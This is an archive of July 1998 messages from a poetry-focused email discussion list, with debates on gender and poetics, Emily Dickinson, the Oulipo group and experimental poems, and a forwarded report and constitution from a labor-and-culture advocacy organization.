*Naropa's athletics program consists of yoga, tai chi, aikido, and african dance.

3)
Who one is does matter to the extent it shapes how one writes. But _what_ one is -- does this matter?

NOBODY
--
aka
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
    *   *   *   *   *   *

"It is very much like it" -- Gertrude Stein

<HTML>
I had to get something in with this subject title, so:

<P>1)

Safdie Joseph wrote:
<BLOCKQUOTE TYPE=CITE>toddbaron said (in replying to a post from Linda Russo):

<P>you are absolutle and correct!

 </BLOCKQUOTE>

I've always wanted to be absolutle(there is nothing more delightful than
a good typo)

<P>2)

<I>Why should ANY OF US APOLOGIZE?</I>
<BLOCKQUOTE TYPE=CITE>

<P>And furthermore . . . how can it BE that NOBODY cares if a fucking POET

is A MEMBER OF THE FBI!!!
 </BLOCKQUOTE> Well, then,
why should we apologize if he (Jeff Clark, I believe was the suspected agent)
were? But, as this question keeps reappearing, I doubt he really is, any more
than I am the captain of the Naropa football team*.

<P>*Naropa's athletics program consists of yoga, tai chi, aikido, and african
dance.

<P>3)

Who one is does matter to the extent it shapes how one writes. But
what one is -- does this matter?

<P>NOBODY

--

aka

Laura Wright

Library Assistant

Allen Ginsberg Library, The Naropa Institute

2130 Arapahoe Ave

Boulder, CO 80302

[redacted]

 * * * * * *

"All music is music..." -- Ted Berrigan

     *
*
*   *
*
*

"It is very much like it" -- Gertrude Stein

 </HTML>

----------AECCBC83C78BC5AECB98AF9A--

↑ Index

649. **Charles Bernstein**
Re: Poetry Daily Website
Thu 23 Jul 1998

Dear Rae,

I should be around, just back from Buffalo and also just about to leave for Buffalo, as usual!

I think your best best is James: it is rarely at his place over the weekend.

[redacted] is his work email, which I think he will get sooner that his home email.

If that doesn't work, let me know.

Since one of the characteristics of electronic textual space is that there is no real scarsity of "space" -- it wouldn't cost anything more to post your whole poem, then the Poetry Daily thing is even more odd. Anyway, I had never heard of the site till Ron mentioned it --

Love,

Charles

↑ Index

650. **dbkk**
CS Giscombe directory assistance
Thu 23 Jul 1998

Hi this is Dodie. I'm trying to reach CS Giscombe. Does anybody have a phone number or e-mail address for him they could backchannel me?

Thanks.

↑ Index

651. **Linda Russo**
Re: postwomen+ (or is not equal to) speculative equations
Thu 23 Jul 1998

Back to Elizabeth's fecund post:

www.pfplayground.com

I felt I was dismissive of POSTFEMINIST PLAYGROUND -- which I honestly hadn't looked at for quite a while -- great graphics!, very smart with a current essay by DODIE BELLAMY that's cool. Part of what IS attractive is the "no more victims/no more apologies" angle. But I really felt when I'd met Lily James and Susannah Breslin (at a Conference (of all places) over 2 years ago), who were powerful presences, that they were sort of forging onward somewhat

narrowly. PFPlayground has grown into something major & I appreciate they're grappling with Post-Femininsm, though it's not quite what I have in mind . . .

Elizabeth, as the archives aren't arranged by author, what's the shortcut to some of your stuff?

HINT: Don't click the PLAYBOY seal of approval ("playboy online's pick of the day") because once you go there you're TRAPPED (cyberly, not psychologically)

On Tue, 21 Jul 1998, Elizabeth Treadwell wrote:
> Is there a possibility of an ungendered poetics, even if it is something its
> possible to work toward or to see others as working toward? I mean if
> you're looking in terms of gender, won't you see gender?

I hope so but doubt it, and Yes, most definately. The world we live in is so gendered, & though there's a lot of wonderful blurriness, there's still those two extremes. Am I referring to "man & wife"? or Christian Fundamentalism and The Gap?

> *PLAY is key to this -- perhaps we are now more free to PLAY -- to speculate, to speculate on speculations,...- than in the 50s or the Victorian era or whenever, with GENDER AS AN IDEA, construction, etc.....The motifs of our clothing. Maybe we are just now more able to have FUN (or if you prefer: imagination). I don't mean this dumbly, I mean not having to spend so much energy "to not be swept up and violated, (& also) to avoid generating counterviolence as its tool of self-being".*

Good points about having more freedom to mess around in the symbolic, so to speak. But I find the play-only attitude (pfp's primary attitude) to be a little shortsighted and breezy. Maybe I'm just getting old. I mean their use of breasty characters may be ironic, funny, or empowering, but I still feel like the mass of those images, while creating a ambiguous message (are they sexy? are they coming on to ME? they're just drawings! Is that Angie Dickinson?!), are, well, like too much -- feels to much like oppression! advertising! I don't "identify" with those images. . . what's wrong with me. I mean I just can't strike such an ironic posture towards them as they do towards me. Maybe they're supposed to make me feel "uncomfortable"?

More ->

> I do CLAIM writing as a woman, writing as a "girl", writing about that,
> engaging in that. Proud of that, then bored by it, etc. Its constantly
> ENACTED isnt it, along with ten dozen (or a few) other Big Things....
> I like it, writing as a WOMAN, thnking about Women. However I of course
> don't want to be 'marginalized' either, or not taken seriously, or taken
> seriously in only one way.
> (But of course it happens...to everyone) misreading is so key aint it
> intriguin/

>
> I do like Linda read many more women than men.
>
> Why? I think my next point might speak to it at least in some way.
. . .
>
> Linda wrote:
> >> And another question:
> >> How can forms be "masculine" when, though, they were
> >> "created" by men, they were done (usually) intensely in relation to
> >> "woman" (no matter how facile and passive his construction of her?)
>
> Simon wrote:
> >I think you've sort of answered your own question here;
> >with a basic idea of how poets create -- through a combination
> >of observation and language -- there seems to be no reason
> >that the Poetics of the "male gaze" (yadda, yadda) would
> >bear any relation to that that might be written by a woman.
> >
> >The question of moving the love poem away from "constructions
> >of the self" is another part of this; it's not what you see,
> >it's how. One doesn't expect an 18th gynecologist and a 20th
> >century midwife to concur in their visions of a woman; the
> >difference would arise from the point of view of a third person.
> >"Gynceological", "Masculine", is how we label them.
>
> Here I can't agree. I think the "Poetics of a male gaze" does bear relation
> to that that might be written by a woman. Here and now. From childhood,
> books with first person male narrators, looking at movies, whatever: the
> woman not only sees 'herself' ('itself') *in* 'the male gaze', but *sees as*
> the male gaze, or self-gaze, or whatever. It's like the beginning of "The
> Bluest Eye".
>
> & of course there are responses to gender oppression and disequilibrium in
> the work of some high profile male poets, as someone wrote, this strikes me
> as having gone on since the beginning of time. whether they were aware of
> it in our current jargon or not, and no matter what kind of personality or
> politic or wife-treatment they lived in. isn't even creating something in a
> way responding to it? I think so.

I'd like to see someone else (Simon?) respond to this. I agree more or less

> *Waldrop problematizes the whole issue by bringing up the political implications of a formal stance ("old school feminism"?) and then retracts them from discussion by noting that she was working on "a formal problem". At the risk of breaking Adorno's dictum and paraphrasing a philosophical stance, is Waldorf coming out and saying that certain formal modes where, for e.g., "subject and object function are not fixed", are essentially gendered? That there is some occult connection between the female body and language? How can a feminist poetics, as you say, be potentially "unconcerned" with gender? Isn't gender the sine qua non? Or is it just the starting point? From there, to where does it go?*
>
> *as perhaps one of the "theoretically apathetic" I would like to note that in the quote from Waldrop, she first states "I was interested in extending the boundaries of the sentence" then says "it comes out of my feminist preoccupation" [this quote is 20 yrs old] and then says this is all hindsight, "Consciously, I was working on a formal problem." So it seems to me that she was interested in form, whilst of course being aware of herself as a woman/feminist and *in the world as such*. I don't think gender is the starting point or the only point, i think she is merely using it as a way in to explain something, as TRACTION, and then of course there are all these other conscious and unconscious things, RETRACTION.....*

Actually, that quote is only 10 years old, but still "hindsight" -- foremost was the formal problem, the hindsight is her realization that the tackling that particular formal problem WAS related to her gender.

See you soon, Elizabeth . . .

↑ Index

652. **Katherine Lederer**
Re: Party
Thu 23 Jul 1998

Hi Chris--

I want directions! From 108th and B'way (1,2,3, and 9 trains to which transfers?)...

See ya--
Katy

↑ Index

653. **toddbaron**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

George Thompson wrote:
>
> Tb wrote of Emily Dickinson that:
>
> >...she didn't live in a world she was against....
> >
>
> I'm not so sure about this. If you mean that she didn't live in that world
> I would agree: she didn't [she lived in a little room upstairs]. If you
> mean that she wasn't against it, I think that you'd be completely wrong:
> for she was as against it as they come, and all of her work says so, don't
> you think?
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I do not agree--she did not write "against"
but created "for" ---I am simply
saying also that I'm "against" others
using her (or otehrs) to promote
an ideology the /she
did not share. You can't just
read the work and say "look--
here she's writing against the role
of women and marriage"

she was an occult
writer--writing
to a certain "self" that was
surely not the politics of the day--
but rather .....

↑ Index

654. **R M Daley**
Re: Party
Thu 23 Jul 1998

---

hey people, stop fucking up the list with these backchannels

On Thu, 23 Jul 1998, Katherine Lederer wrote:

> *Hi Chris--*

> *I want directions! From 108th and B'way (1,2,3, and 9 trains to which transfers?)...*
>
> *See ya--*
> *Katy*

↑ Index

655. **Elizabeth Treadwell**

Re: POETICS Digest - 21 Jul 1998 to 22 Jul 1998 (#1998-9)

Thu 23 Jul 1998

"I can't get out of this poem
it's Your poem
you're making me make it this way
it's us, this poem is alive
even if it's ugly or I'm dead
it's the City of You even if you aren't 'in it'"

_Alice Notley, ms, in the MOVING BORDERS anthology

ET

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

656. **Karen Kelley**

Re: John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)

Thu 23 Jul 1998

I recently read something of Yau's in a mag--was it First Intensity? I'm sorry--I can't recall, but it was perhaps from the new book & was the narrative of a stripper & I found it rather disturbing in that the narrator was kind of dumb & angry & thought highly of her breasts (no prob with that in & of itself) & little of men in general--she was kind of a jaded line drawing of a woman--with the interior monolog of a stereotype, which I suppose is okay, though as this thread goes to show, the whole male/female or masc/fem question is much more complex than Yau's piece implied, and I guess I just felt annoyed that he was willing to throw another stereotype my way.

louis stroffolino wrote:

> *Has anybody here read Yau's new Black Sparrow book?*
> *In it, there is much "cross-gendered identification"*
> *that---though it is written by a male--seems to, er,*
> *"rupture patriarchal discourse" and could serve as*
> *a complement to, say, Carla Harryman who also engages*
> *in "cross-gendered" identification. I think Yau does*
> *a very good job at trying to speak AS woman "other"*
> *and negotiating the representational anxieties that*
> *might attend the "presumption" of such a task.....*
> *but would be very interested to hear opposing views....*
> *chris stroffolino*
>
> *On Wed, 22 Jul 1998, Linda Russo wrote:*
>
> *Rah rah.*
>
> *I'm glad to see Safdie Joseph annoyed with the*
> *"position" that feminism had seemed to put Todd in (in reading the*
> *original post, before Todd's brilliant comeback) -- as*
> *an apologist. Elizabeth Treadwell makes the same point as well (though I*
> *have definite issues with Postfeminist Playground, for another post).*
>
> *I wish we could just do away with the gender essentialism which causes so*
> *many with physical bodies to feel they have to apologize for some*
> *appendage or other. I'm intrigued by the problems women (and other*
> *'others') face in trying to enter the current the forums/debates etc.*
> *-- very material problems (as Woolf pointed out early on) rooted in*
> *patriarchal biases.*
>
> *But it's more fruitful to continue mucking things up, to keep getting*
> *more and more challenging writing published, to continue framing*
> *experiment as a rupture of "patriarchal laws" (Kristeva's argument; what*
> *Woolf recognized as "convention," what Bernstein has called "populist*
> *realism" etc) -- to recognized that oppression is at work, even that*
> *gender oppression is at work, but to quite calling the*
> *counter/re/active strategies "feminine"! or to call it feminine and stop*
> *stop linking this to (women's) biology! Or we all really do have the*
> *Anxiety of Influence -- we're all a bundle of nerves!*
>
> *Until we get some intelligent conversation going*
> *to reframe the issues (and reframe them for feminist literary scholarship)*
> *we're going to be beaten over the heads with said appendages. (Not that it*
> *isn't out there -- Judith Butler, for example -- But to what extent has it*
> *made its way into contemporary poetics discussions?)*
>
> *Todd's comeback:*

> *being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --*
>
> *never impersonal.*
>
> *Tb*

↑ Index

657. **toddbaron**

Re: pen(is)essesss post-Fem/For you Guys too

Thu 23 Jul 1998

---

isn't football
played with the foot?

isn't that
an absolute?

Laura E. Wright wrote:
>
> I had to get something in with this subject title, so:
>
> 1)
> Safdie Joseph wrote:
>
> toddbaron said (in replying to a post from Linda Russo):
>
> you are absolutle and correct!
>
>
> I've always wanted to be absolutle(there is nothing more delightful

> than a good typo)
>
> 2)
> Why should ANY OF US APOLOGIZE?
>
> And furthermore . . . how can it BE that NOBODY cares if a
> fucking POET
> is A MEMBER OF THE FBI!!!
>
>
> Well, then, why should we apologize if he (Jeff Clark, I believe was
> the suspected agent) were? But, as this question keeps reappearing, I
> doubt he really is, any more than I am the captain of the Naropa
> football team*.
>
> *Naropa's athletics program consists of yoga, tai chi, aikido, and
> african dance.
>
> 3)
> _Who_ one is does matter to the extent it shapes how one writes. But
> _what_ one is -- does this matter?
>
> NOBODY
> --
> aka
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "All music is music..." -- Ted Berrigan
> * * * * * *
> "It is very much like it" -- Gertrude Stein
>

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658. toddbaron
I will not stand undressed for use!
Thu 23 Jul 1998

714

Rests at Night
The Sun from shining,
Nature--and some Men--
Rests at Noon--some Men--
While Nature
And the Sun--go on--

E.D. (1863)

↑ Index

659. Orpheus
adam Dalgliesh
Fri 24 Jul 1998

A poet who is cop. Saves the good from the bad. Nice combo.
Thanks to PD James. Why not? And why not poets who
who are patriarchal, monarchists;
Dostoevski - at the end years, a believer in the Orthodox.
Why the assumption that poets must believe in feminisms,
or be non-patriarchal. Poets, can be anything they want.
Long as they write poetry. They don't need or have
to justify anything . The rest is about being a citizen.

Besides , who says Patriarchy is bad?

What is wrong with the Father?

That is not wrong with the Mother?
Joyce, from the evidence one gathers inthe Wake,

was a catholic, a patriarch, and indeed a fine and great writer.

'Et tant d'autres et tant d'autres.'

and please dont say Dostoevski was not a poet,

just because he wrote novels.

That means Joyce was not a poet.

O yes I realize that Finnegans Wake is different.

I like the last word 'the'

↑ Index

660. **Orpheus**
who
Fri 24 Jul 1998

---

who was it said: the unexamined life is not worth living?

like wise: the unexamined assumptions.

For over 30 years the Papa has been attacked in one shape form or another.

fair enough. But now the tables are turning.

"the best lack all conviction, while the worst/
are filled with passionate intensity."

So one sees the poetics built so far onto a political need

to 'justify' [a disgusting practice which smacks of protestant secular thought'] one's position,

that the poetry has gone off the deep end of a reterritorialized liberalism.

it is very sad to know that eliot's poems were kept

out of Poems for the Millennium because of financial constraints.

Jack Spicer is also missing from Volume 2.

↑ Index

661. **Orpheus**
poetics/patriarchy
Fri 24 Jul 1998

---

the epistemes required a fiction which stood en place for centuries....

so imagine a patriarchy which is poetic anarchic

and rather like ancient ireland's society of ollav orders...

but not a denial of the Father.
But Anna Livia crying as she sailflows back into her Papa Sea

as Writing Precedes speech so with the father.

if we change the biology then perhaps we can change

the order of the epistemes on levels which would

allow a poetry of the city,

of the body.

Of 'Unreal City'
and

L'Homme Approximatif

the inexact word,

the almost almosting body

each change produces and requires monstrosities.

Oh Wonderful monstrosities of mothers and fathers!!

↑ Index

662. **toddbaron**
Re: POETICS Digest - 21 Jul 1998 to 22 Jul 1998 (#1998-9)
Fri 24 Jul 1998

Elizabeth Treadwell wrote:
>
> "I can't get out of this poem
> it's Your poem
> you're making me make it this way
> it's us, this poem is alive
> even if it's ugly or I'm dead
> it's the City of You even if you aren't 'in it'"
>
> _Alice Notley, ms, in the MOVING BORDERS anthology
>

He began my creation with constraint,
By giving me life he added only confusion;
We depart reluctantly still not knowing
The aim of birth, existence, departure.

(second Rubiya: Omar Khayyam)
>

↑ Index

663. **Alan Jennifer Sondheim**
Sermounts
Fri 24 Jul 1998

-

Sermon on the Mount by Jennifer

The Real is so stupid and Insignificant, I am saying under the sign of Clement Rosset do you know him? That it is inert, dull, repetitious and Full of our Meanderings. So that We do not Face Face, that is a Moment of what might be a Considerable grain, have you looked at Face up close and then Wondered how your Theories fall apart in the Proof? Because I cannot Do this for too Long, this Look at the Up-Close Face, I mean the first Thing you Notice are Pores and other Holes everywhere There and in the Middle of such Hairs as you will never See at a Distance. So is that an Unknown Horror to Dream of and not to Disparage as you might on a fair Day from a Distance. You will know what I mean. It is never or Nary a Code, Nary or Never a Discourse, when you are that Close that it is as if the Bed left Marks impervious. I am Talking to You. Those impervious Marks. You will look at Stains up close, why there are Stains on this very Chair upon which I am sitting, Leaks from my Panties, you will know how Stupid the real is, you can almost Smell it. Up Close Like a Gulliver wandering, then I know you will Know the World which is what Surrounds you. Then and Precisely then, When you can Speak, Then you Will be ushered into Silence, nary a Thing to Say. Thus I might say from a Distance, you will have been Done to by the World, but you must Know, if the Last Thing, it is of your Doing.

Sermon on the Mound by Jennifer

The Cock is so stupid and Insignificant, I am saying under the sign of Catherine Clement do you know her? That it is inert, repetitious and Full of our Meanderings. So that We do not Talk Cock, that is a Moment of what might be a Considerable grain, have you looked at Cock up close and then Wondered how your Theories fall apart in the Proof? Because I cannot Do this for too Long, this Look at the Up-Close Cock, I mean the first Thing you Notice are Pores and other Holes everywhere There and in the Middle of such Hairs as you will never See in Perversion. So is that an Unknown Horror to Dream of and not to Disparage as you might on a fair Day in Perversion. You will know what I mean. It is never or Nary a Cunt, Nary or Never a Discourse, when you are that Close that it is as if the Bed left Marks impervious. I am Talking to You. Those impervious Marks. You will look at Stains up close, why there are Stains on this very Chair upon which I am sitting, Leaks from my Panties, you will know how Hardness the Twat is, you can almost Smell it. Up Close Like a Gulliver wandering, then I know you will Know the World which is what Surrounds you. Then and Precisely then, When you can Speak, Then you Will be ushered into Silence, nary a Thing to Say. Thus I might say from Perversion, you will have been Bound by the World, but you must Know, if the Last Thing, it is of your Doing.

↑ Index

664. George Bowering
Re: oulipo
Fri 24 Jul 1998

I have not heard of recent Oulipo meetings. Outside of writings by Mathews etc. the latest newsy thing I remember is Warren Motte's Primer published by Nebraska in about 1986.

Of course, if one keeps track of what the Atlas people are publishing, that's about the best one can do.

As to female members--one always notices their absence. Perhaps this is due to the relatively (until recently) small percentage of women interested in being mathematicians.

There is/was a member named Michele Metail. I dont know whether that first name is French or Italian.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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665. david bromige
rew : adam dalgleish
Fri 24 Jul 1998

Nice endrun Orpheus. It takes a village to crucify its poet. Not the scatter we know. I Tiresias have foresuffered all. Once the Imagination is opened, who knows what flies out? Oops. At the dentist's today, the woman cleaning my teeth had several rumbles thru her body, and finally apologized. I said "I thought you were talking to me in code." One may suffer clitoris-envy, and still imagine having a penis. When I'm walking uphill, I wish the world were flat. Adam Dalgleish is a wimp. Thats what makes him attractive. Brahms.

↑ Index

666. david bromige
who
Fri 24 Jul 1998

Socrates.

↑ Index

667. **david bromige**
poetics/patriarchy
Fri 24 Jul 1998

Emerging from the Unconscious of Civilization in our day is the entire gendering of power-abuse and unlevel playing fields. I appreciate yr application of a logic to dismember this problem but it wont go away. Neither by waving one's lily nor by cutting it off can one avoid the Penis Wars. The penis (phallus, I guess) is the first offense. The inequity starts there, whether it's a burden or an advantage. "He pulled her down with his muscles." Just as was expected. The tact required is extensive and really only realizable one-on-one (and even then . . .). Dont you really think? I hugely wish we could keep the personal out of the poetry, so it could personally be _me_ not Emily Dickinson or TSE. But why didnt Eliot get his double hernia fixed? Doesnt that detail open his poetry to a fuller reading, a fuller recoil? Poetry problematizes vividly the insolubles of this firkin existence. With Beckett one wants an elegant absence of exit to be one's exit but tomorrow someone will be in yr face, dammit. No wonder all these pretty poems avoid the issue. Cash in on the issue. Skirt. I'm with you Orpheus in yr Underground but I want you to stop looking back. Is the light at the end of the tunnel, the tunnel? How about "Che faro senza Eurydice"? In Room 101, we can be disabused of that sort of love. In Room 101. What was Orwell's problem with rats? Kids keep them as pets. I know a poet who shot them at the city dump. He was a good poet (naif disingenuous statement).

D.Broadbent.

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668. **Douglas**
Re: queries
Fri 24 Jul 1998

Maria, accordingly to my editor, Guy Bennett
an Oulipo group (new and old) still meet in Paris
quite often and read their work.

Douglas

Maria Damon wrote:
>
> are there surviving members of the Oulipo group and do they still meet in
> paris? inquiring minds need to know

↑ Index

669. **Robert D'Attilio**
Re: Party
Fri 24 Jul 1998

---

dan
this is my first day on the buffalo listserv. I imagine that you have received the entire mess also. Is this typical of what goes on? or is this there a nonsense filter somewhere? If I get so many useless messages eachday I think I shall dissappear myself.
saluti
r d'a
where is the marty? In NYC?

↑ Index

670. **Rachel Loden**
Your friend E Dickinson
Fri 24 Jul 1998

. . .

Your second letter surprised me, and for a moment, swung - I had not supposed it. Your first - gave no dishonor, because the True - are not ashamed - I thanked you for your justice - but could not drop the Bells whose jingling cooled my Tramp - Perhaps the Balm, seemed better, because you bled me, first.

I smile when you suggest that I delay "to publish" - that being foreign to my thought, as Firmament to Fin -

If fame belonged to me, I could not escape her - if she did not, the longest day would pass me on the chase - and the approbation of my Dog, would forsake me - then - My Barefoot Rank is better -

You think my gait "spasmodic" - I am in danger - Sir -

You think me "uncontrolled" - I have no Tribunal.

Would you have time to be the "friend" you should think I need? I have a little shape - it would not crowd your Desk - nor make much Racket as the Mouse, that dents your Galleries -

If I might bring you what I do - not so frequent to trouble you - and ask you if I told it clear - 't would be control to me -

The Sailor cannot see the North - but knows the Needle can -

The "hand you stretch me in the Dark," I put mine in, and turn away - I have no Saxon now -

. . .

But, will you be my Preceptor, Mr Higginson?

↑ Index

671. KENT JOHNSON
(Fwd) On the SAWSJ Conference and After
Fri 24 Jul 1998

I thought some on the List would be interested in this information from Scholars, Artists and Writers for Social Justice, including the report below on the SAWSJ founding conference. (website is www.sage.edu.)

Kent

------- Forwarded Message Follows -------
Date: Tue, 9 Jun 1998 13:14:16 -0400 (EDT)
From: J Saws <[redacted]>
To: SAWSJ Information List <>
Subject: On the SAWSJ Conference and After

SAWSJ INFORMATION LIST

CONTENTS

I. Introduction to This List
II. A Report on The National Labor Teach-In and First Annual Meeting of Scholars, Artists and Writers for Social Justice
III. List of the SAWSJ Coordinating Committee Members
IV. Radio Documentary on SAWSJ Conference
V. The SAWSJ Constitution as Ratified at the National Conference.
VI. How to Join SAWSJ

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I. INTRODUCTION TO THIS LIST

During the month or so since the Scholars, Artists, and Writers for Social Justice Conference in Washington, DC, the new Coordinating Committee has begun the process of reorganizing SAWSJ along the lines of the new Consitution. At this point the CC has asked me to set up this SAWSJ information list on an experimental basis. The goal of this list is to encourage communication nationally among people -- whether SAWSJ members or not -- working to rebuild the alliance between artists and intellectuals on the one hand, and the multicultural workers' movement on the other. The names and addresses on this list have been compiled from several e-mail lists that SAWSJ developed during its first year. There are THREE PROBLEMS with the present list as it stands: 1. It does not yet include the addresses of those who signed on at the national conference -- apologies. 2. There may be people who are on the list who do

not want to receive the list messages. If this is the case for you, again, our apologies -- please write a short message in reply to this one asking to be removed, and it will be done immediately. 3. There are undoubtedly people who aren't on this list who would like to join. Please ask anyone in this situation to e-mail us at the above address, and they will be added. As listed in "Contents" above, this message contains three documents relating to the recent SAWSJ conference. More information on the conference and on SAWSJ in general is available on the SAWSJ web site at http://www.sage.edu/html/SAWSJ (the last five letters MUST be upper case).

In solidarity,
Andor Skotnes

II. A REPORT ON THE NATIONAL LABOR TEACH-IN AND FIRST ANNUAL MEETING OF SAWSJ, By Michael Denning and Steve Fraser for the SAWSJ Coordinating Committee

SAWSJ organized a national teach-in on "Democracy and the Right to Organize" and convened its first annual meeting over the weekend of April 24-26 at George Washington University in Washington, D.C. It was a high energy event of great promise. The vital work of taking on Corporate America by mobilizing the academic and cultural communities in alliance with the revitalized labor movement was carried a giant step forward by the doings at GWU. Approximately 600 people assembled on the opening (Friday) night to hear a diverse array of speakers. Julian Bond's presence as Moderator for the evening was inspirational. His heroic role as a civil rights leader helped establish the critical political and historic connections that make the "Right to Organize" not only a vital issue for the labor movement, but for all movements for social justice. Three local organizers - Betty Dumas of the Avondale Shipyards in New Orleans; Juan Mazlymian, an abstestos worker from New York City; and Jonathan White, an organizer of adjunct teachers at GWU - delivered compelling accounts from the front lines about how imperilled the right to organize has become. John Sweeney, President of the AFL-CIO, reiterated the Federation's warm support for the work of SAWSJ, explaining how welcome the teach-in movement has been in arousing public alarm over what he called "the Nike economy". Juliet Schor of Harvard University emphasized the "time famine" which is putting both work and family life under unbearable stress, arguing the need for SAWSJ to take up the battle against the corporate seizure of "free time." Robin Kelley of New York University, while acknowledging the importance of SAWSJ's link to the labor movement, urged the organization to embrace more actively the struggle against racism and other social injustices. UCLA and Columbia University Law Professor Kimberle Crenshaw focused her

remarks on the concept of "intersectionality"; namely the need, both intellectual and political, to explore the connections between gender, race, and class. Writer and editor, Steve Fraser, spoke on behalf of SAWSJ, rehearsing the history of the organization since the Columbia teach-in of 1996 (there have been over 30 teach-ins since then), and sketching SAWSJ's broadest principles and purposes as it goes about the work of helping build a new culture of solidarity. Saturday began with two series of panels and workshops. About 350 people circulated through an opening set of thematic panels: the future of the teamsters, labor and political action, organizing the south, organizing and the law, labor and social movements, anti-labor legislation, lawsuits and ballot initiatives, international organizing, and adjunct and graduate teacher organizing. A second set of "activist workshops" followed: organizing cultural workers, academic support for unions, academic labor, the anti-sweatshop campaign, student labor action, welfare and workfare, the work of the Economic Policy Institute, and Metro Washington alliances. Discussion in both panels and workshops was intellectually vigorous, marked by a respect for the concrete, and permeated by a sense of the potential for SAWSJ to grow and accomplish much politically over the next months and years. That sense of down-to-earth possiblity continued into the first session of the SAWSJ annual meeting which took place Saturday afternoon. Reports from all the "activist" workshops laid out a series of practical suggestions about how to further the alliance between SAWSJ and the labor movement. This first business session was also well attended - about 150 people. There was a shared sense that SAWSJ needs to concentrate during this next year on organizing local SAWSJ chapters and creating "activist networks" across chapters to mobilize around a broad range of issues: sweatshops, workfare, campus labor, and so on. The afternoon ended with a showing and discussion of two films: "Out at Work" - a documentary about sexual identity and representation in the workplace; and "Degrees of Shame" - a film about the plight of adjuncts in the university. SAUSAGES then spent the night partying at a local club, entertained by the band Bones of Contention together with guest poets and musicians. The final session on Sunday morning was devoted to adopting a constitution and organizational structure for SAWSJ. After some discussion and minor amendment, the draft constitution was approved: it is published on the SAWSJ website at http://www.sage.edu/html/SAWSJ. A National Coordinating Committee of 8 persons was elected, charged with operational responsibility for SAWSJ in between meetings of a larger Steering Committee, a body to be created over the next year. The members of the Coordinating Committee are Dan Clawson, Michael Denning, Dorothy Fennell, Steve Fraser, Adam Green, Jenny Lee, Margaret Levi, and Jamal Watson; their email addresses are available on the SAWSJ website. WBAI Pacifica Radio's "Building Bridges: Your Community and Labor Report" has produced an 58-minute program based on the teach-in which is available for your local college, independent or NPR radio

station. For information about the May 18 downlink or for audio tape call Pacifica: [redacted] X 266, Mark Torres, or see the notice on this website. It is now available in RealAudio on the "Building Bridges" website, which can be reached from the SAWSJ website. While both the teach-in and the first annual meeting must be accounted successes, the real future of SAWSJ depends entirely on the energy and activity at the local level. We urge all of you to take the intitiatve to inaugurate a SAWSJ chapter where you live or work or go to school. We can help with advice and contacts and explain the rather simple relationship between a local chapter and the national organization. But the future of SAWSJ is in your hands. HELP BUILD THE NEW CULTURE OF SOLIDARITY! _____

III. SAWSJ 1998-99 COORDINATING COMMITTEE MEMBERS

Dan Clawson, University of Massachusetts
Michael Denning, Yale University
Dorothy Fennell, Cornell Industrial & Labor Relations
Steven Fraser, writer and editor
Adam Green, Northwestern University
Margaret Levi, University of Washington
Jenny Stevens, student activist
Jamal Watson, Baltimore Sun

_____

IV. WBAI RADIO DOCUMENTARY ON THE SAWSJ CONFERENCE -- ON THE AIR, ON TAPE, AND ON THE WEB

WBAI Pacifica Radio's "BUILDING BRIDGES: Your Community and Labor Report" has produced a 58-minute radio show on the SAWSJ Labor Teach-in, "Democracy and the Right to Organize." The program is being broadcast in the New York City area and around the country -- over 20 stations are broadcasting it so far. BUILDING BRIDGES is produced by Mimi Rosenberg and Ken Nash. BUILDING BRIDGES has also received a grant from the AFL-CIO to subsidize 40 public and college radio stations to receive a copy of the tape for broadcast and to uplink the show over the NPR satellite. The Pacifica Network will make tapes available to radio stations through the Pacifica Archives and will uplink the show to its affiliates through its Ku band satellite uplink. There are thus several ways for college and public radio stations to receive the program for broadcast. Contact your college or public radio stations and lobby them to get the tape of the conference and put it on their air. Individuals may also purchase the tape from the Pacifica Archives. WBAI has also put the SAWSJ documentary on its web site in RealAudio. The url for the documentary is: http://www.igc.org/wbai-labor/rightorg.htm You can also access this through a link on the SAWSJ web site http://www.sage.edu/html/SAWSJ

SELECTIONS FROM THE DOCUMENTARY INCLUDE: *John Sweeney, President of the AFL-CIO on the degradation of workers in the "Nike economy" and how have no rights in the workplace without unions. *Julian Bond, Chair of the NAACP Board of Directors on the maldistribution of wealth in the economy, and the need for workers to organize and form coalitions between labor and civil rights organizations for social change. *Betty Dumas, an Avondale Shipyard Worker from New Orleans tells her story of being fired and then arrested for organizing. *Kate Bronfenbrenner, Professor at Cornell's School of Industrial and Labor Relations tells of the lawsuit filed against her by Beverley Nursing Homes as a result of her Congressional testimony about their unfair labor practices. *Richard Bersinger, Director of Organizing, AFL-CIO. *Elaine Bernard, Director of Harvard's Trade Union Studies Program on campus based protests over sweatshops here and abroad. *Ken Paff, Director of Teamsters for a Democratic Union talks about the history of organizing for democreacy in the Teamster Union and the bid for the Teamster Presidency by James Hoffa, Jr. _____

V. SAWSJ CONSTITUTION, Ratified Sunday , April 26, 1998

Article I: NAME

The name of this association shall be "Scholars, Artists, and Writers for Social Justice" (SAWSJ).

Article II: PURPOSES

To assist: in reshaping the nation's political culture and fostering the growth of a vibrant, progressive, multicultural working-class movement; in shaping the terms of political debate and contesting corporate dominance of politics and culture; in restoring the mutually empowering relationship between the labor movement and its allies in the academic and cultural communities, and reassessing their places in a changing world. Article III: MEMBERS

Any person who agrees with the purposes outlined in Article II may become a member of SAWSJ upon payment of the dues established.

Article IV: DUES

Section 1: Dues levels

